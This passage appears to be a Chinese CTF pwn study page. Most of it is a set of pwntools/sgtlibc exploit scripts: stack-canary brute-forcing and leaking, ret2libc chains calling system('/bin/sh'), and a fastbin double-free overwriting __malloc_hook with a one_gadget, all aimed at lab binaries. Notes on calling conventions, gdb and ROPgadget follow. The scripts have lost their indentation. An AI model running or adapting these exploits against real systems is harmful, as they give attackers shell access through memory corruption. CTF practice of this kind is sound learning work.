auto_show_rop=True,
auto_show_summary=True,
auto_start_game=True,
auto_load_shell_str=True,
auto_show_symbols=True
))
s = sgtlibc.Searcher()
elf = client.elf
canary = b''
def test(data: bytes):
payload = [b'a' * 24 + canary+bytes([data])]
sa('welcome',payload)
rl()
data = rl()
warning(data)
if b'smash' in data:
return False
return True
# success(data)
# interactive()
for i in range(len(fakeebp())):
for j in range(0x100):
if test(j):
canary += bytes([j])
break
success(f'canary:{canary.hex()}')
interactive()
canary-x64-by_simple_puts_leak
import sgtlibc
from sgtlibc.gamebox import *
set_config(GameBoxConfig(
is_local=False,
file='./babystack',
remote='192.168.2.0:8888',
auto_load=True,
auto_show_rop=True,
auto_show_summary=True,
auto_start_game=True,
auto_load_shell_str=True,
auto_show_symbols=True
))
s = sgtlibc.Searcher()
elf = client.elf
main_addr = 0x00400908 # elf.symbols['main']
canary = b''
def exp():
# overflow position
data = [b'a' * (136), canary, (b'' if not canary else fakeebp())]
return data
sla(b'>> ', '1')
se(exp() + b'b')
sla(b'>> ', '2')
ru(exp() + b'b')
# 此处是先获取canary,注意canary64位时候是 00开头的,需要将该00补上,否则将被截断无法回显
canary = rc(7).rjust(8, b'\0')
log.info(f'canary:{canary.hex()}')
main_addr = 0x000000400908 # elf.symbols['main']
csu_init_addr = 0x00400A30 # elf.symbols['__libc_csu_init']
def leak(func: str):
log.warning(f'start leak {func}')
payload = exp()
payload += [elf.rop['rdi'], elf.got[func], elf.plt['puts']]
payload += [[elf.rop['ret']] * 1] # 栈平衡
payload += [main_addr]
# sla(b' input\n',payload)
sl(payload)
# ru('joke')
# ru(fakeebp()) # 如果有输出则清空缓存
data = rc(6).ljust(8, b'\0')
data = u00(data)
log.info(f'leak {func}:{hex(data)}')
s.add_condition(func, data)
return data
# 注意:泄露的函数应在泄露之前至少执行过一次,否则函数地址不准确
# leak('printf')
leak('puts')
# leak('stdout')
# leak('stdin')
leak('__libc_start_main')
# libc = ELF('libc_buu-2.23_x64.so', checksec=False)
# offset = addr - libc.symbols['__libc_start_main']
# system_addr = libc.symbols['system'] + offset
# binsh_addr = next(libc.search(b'/bin/sh')) + offset
data = s.dump(db_index=2) # choose your system index
system_addr = s.get_address(sgtlibc.s_system)
binsh_addr = s.get_address(sgtlibc.s_binsh)
log.info(f'system_addr:{hex(system_addr)}')
log.info(f'binsh_addr:{hex(binsh_addr)}')
payload = exp()
payload += [elf.rop['rdi'], binsh_addr]
payload += [system_addr]
sl(payload)
interactive()
canary-x64-by-simple_puts_leak
import sgtlibc
from sgtlibc.gamebox import *
import sgtlibc.ROPgadgets
import os
set_config(GameBoxConfig(
is_local=False,
file='./ex2',
remote='192.168.2.0:8888',
auto_load=True,
auto_show_rop=True,
auto_show_summary=True,
auto_start_game=True,
auto_load_shell_str=True,
auto_show_symbols=True
))
s = sgtlibc.Searcher()
elf = client.elf
pause()
print(elf.got)
plt_write = elf.plt['puts']
print(plt_write)
main_addr = elf.symbols['main']
canary = b''
def exp():
# overflow position
data = [b'a' * (136), canary, (b'' if not canary else fakeebp())]
return data
# 此处是先获取canary,注意canary32位时候是 00开头的,需要将该00补上,否则将被截断无法回显
data = exp()
print(data)
sa('Hacker', data + b'a')
ru(data + b'a')
canary = rc(3).rjust(4, b'\0')
log.info(f'canary:{canary.hex()}')
def leak(func: str):
log.info(f'leak:{func}')
global canary
# 泄露libc
payload = exp()
payload += [plt_write, main_addr, elf.got[func]]
# 如果是read的话则sa,如果是gets scanf的话则sl
se(payload)
ru(b'aabb')
data = rc(4) # 32位接收4个
data = uc(data)
s.add_condition(func, data)
print('leak', func, hex(data))
return data
# 注意:泄露的函数应在泄露之前至少执行过一次,否则函数地址不准确
leak('__libc_start_main')
se('123')
ru(b'123') # 此处因为样本read了2次,需要跳过第一次
leak('puts')
# libc = ELF('libc_buu-2.23_x86.so', checksec=False)
# offset = addr - libc.symbols['__libc_start_main']
# system_addr = libc.symbols['system'] + offset
# binsh_addr = next(libc.search(b'/bin/sh')) + offset
data = s.dump(db_index=0)
# 再次利用payload,溢出执行system
system_addr = s.get_address(sgtlibc.s_system)
binsh_addr = s.get_address(sgtlibc.s_binsh)
log.info(f'system_addr:{hex(system_addr)}')
log.info(f'binsh_addr:{hex(binsh_addr)}')
payload = exp()
payload += [elf.rop['ret']] # 栈平衡
payload += [elf.rop['rdi'], binsh_addr]
payload += [system_addr]
sl(payload)
interactive()
fastbin doublefree leak
import sgtlibc
from sgtlibc.gamebox import *
set_config(GameBoxConfig(
is_local=True,
file='./fastbin',
remote='192.168.2.0:8888',
auto_load=True,
auto_show_rop=True,
auto_show_summary=True,
auto_start_game=True,
auto_load_shell_str=True,
auto_show_symbols=True
))
s = sgtlibc.Searcher()
elf = client.elf
def add(data: bytes, size: int = -1):
if size == -1:
size = len(data)
warning(f'add({size}):{data}')
sla('>', '1')
sla('Size:', str(size))
sa('Data:', data)
def delete(idx: int):
warning(f'delete({idx})')
sla('>', '2')
sla('Idx:', str(idx))
def show(idx: int):
warning(f'delete({idx})')
sla('>', '3')
sla('Idx:', str(idx))
def edit(idx: int, data: bytes, size: int = -1):
if size == -1:
size = len(data)
SIZE_EXP = 0x60
POP_OFFSET = 0 # 用于当onegadgets 不符合条件时候调整栈 ∈ # 0 2 4 6 8 11 12
# 1. 申请一个大堆使得其可以进unsortbin 0x100
# 2. 中间放一个小堆使得释放的时候不会被合并 0x20
# 3. 申请2个SIZE_EXP的堆用于后续利用
# 4. 删除大堆,此时大堆的头将变为堆管理器赋值的libc地址偏移
# 4.1 使用`bins`查看该地址main_arean+xx偏移
# 4.2 同时main_arena_malloc_hook和main_arena固定差-0x10
# 4.3 libc_base = xx - 0x10 + main_arena_malloc_hook - libc.symbols['__malloc_hook']
# 5. 释放A,释放B(防合并),释放A。使得A被double-free
# 6. 再次申请A并将地址写为 libc_base + libc_0x7f_pos
# 6.1 libc_0x7f_pos = libc.symbols['__malloc_hook'] - 0x28(魔术字) + 0x5(0x00007f 8位的后5位)
# 7. 再次申请B,申请A。此时A的大小将变为 sizeof(CHUNK_HEAD) + SIZE_EXP
# leak libc
add(size=0x100, data='abitrary') # 0
add(size=0x20, data='abitrary') # 1
add(size=SIZE_EXP, data='abitrary') # 2-A
add(size=SIZE_EXP, data='abitrary') # 3-B
# A-B-A
delete(0)
show(0)
attach(client.client)
libc = ELF('./libc_action/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
print(rl())
gdb_offset = 88
# 通过gdb调试看main_arena对应libc的多少
# unsortedbin
# all: 0xd2a000 —▸ 0x7fa4e3b55b78 (main_arena+88) ◂— 0xd2a000
main_arena_malloc_hook_offset = -0x10
libc_base = u64(rl()[:-1].ljust(8, b'\x00')) - gdb_offset + \
main_arena_malloc_hook_offset - libc.symbols['__malloc_hook']
log.success(f'libc: {hex(libc_base)}')
# fastbin attack
delete(2)
delete(3)
delete(2) # double-free A 使得A上伪造的地址被用上
libc_0x7f_pos = libc.symbols['__malloc_hook'] - 0x23
# 重新申请回A使得A.fd == libc_base + libc_0x7f_pos
add(size=0x60, data=p00(libc_base + libc_0x7f_pos))
add(size=0x60, data='abitrary')
add(size=0x60, data='abitrary') # 获取libc上伪造的堆
one = 0xf1247
# 不考虑栈环境的
# add(0x60, b'AAA' + p64(0) * 2 + p64(libc_base + one))
# 考虑栈环境的
# __GI___libc_realloc开始用于修改栈位置
try_offset = POP_OFFSET # 0 2 4 6 8 11 12
add(size=0x60, data=b'AAA' + p00(0) * 1 + p00(libc_base + one) +
p00(libc_base + libc.symbols['realloc'] + try_offset))
sla('>', '1')
sla('Size:', str('1'))
interactive()
参考文档
-
常见知识点
-
汇编
leave
equalmov esp,ebp; pop ebp;
ret
equalpop eip
-
函数参数
-
x86函数传参:直接从栈上读,且参数在返回地址上方
栈的执行顺序 ebp+(func1+f1_返回+f1_args)+(func2+f2_返回+f2_args)…
syscall的话则需要寄存器传参:ebx,ecx,edx,esi,edi,ebp
-
x64函数传参:按 rdi, rsi, rdx, rcx, r8, r9顺序读,后续的从栈上读
故x64需要调用ROP实现pop将参数从栈中传入寄存器
内存地址不能大于 0x00007FFFFFFFFFFF,6 个字节长度,否则会抛出异常。
-
-
ret2libc注意事项
- 当题目没有设置setbuf的时候,不要用plt.printf,否则不会有回显
- 注意有时候远程打不通的时候,可能是因为栈没有平衡,找一个ret走一下可能就好了。
-
gdb/pwndb
-
内存查看
- p expresion 查看指定数值 /print
- x 查看各类
- x/20g address 查数据 /global
- x/20i address 查反汇编 /
- x/20s address 查字符串 /strings
- x/20b address 查字节 /bytes
- hex查看hex及ascii
hex address size
- i r 查注册表 /inspect register
-
vmmap 内存查看
-
调试
- ni/下一步 si/进入 c/继续
- b addr/断点 e addr/enable断点 d/disable断点 q/退出
- set expression=xxx 设置内存
-
-
-
常用工具
- pwntools逆向python库
- Kali
- checksec:检查样本的基 本信息也可以是通过设置 pwntool.context.log_level = 'debug’得到
- ROPgadget/ropper:检查文件中可以利用的
gadget
或rop-chain
- 静态编译的题基本上都是可以一键生成ropchain的,ropper -f flower --chain “execve cmd=/bin/sh”
- 注意在
python3
版本中,生成的chain需要在所有的字符串前面加上b
表示十六进制值,否则会出现str
不能合并bytes
的报错
- gdb:程序动态调试工具,也可以直接使用ida的远程调试功能
- libc_searcher:用于retlibc题时候查询其libc版本
-
教程
- PWN全套讲解
- 2019 北航 CTF Pwn入门培训课程(一)
- 基础的rop使用方法
- 2019 北航 CTF Pwn入门培训课程(二)
- 为什么main的返回地址被替换为
system_addr
后 a=system_ret ;b=p aram_1- ret2libc使用pil节区中的
system
和/bin/sh
- 如果没有的话就看其他函数的地址以查到libc版本,以及其各值的地址
- ret2libc使用pil节区中的
- 如果是静态编译则使用int80调用rop链
- ROPgadget
- 通过
ROPgadget --binary rop --ropchain
获取可以直接使用的rop链 - 通过
ROPgadget --binary rop --only "pop|ret"
获取可以存值的地方
- 通过
- ROPgadget
- 为什么main的返回地址被替换为
- 2019 北航 CTF Pwn入门培训课程(三)
- 待解析
- 2019 北航 CTF Pwn入门培训课程(四)
- 待解析
-
常见知识点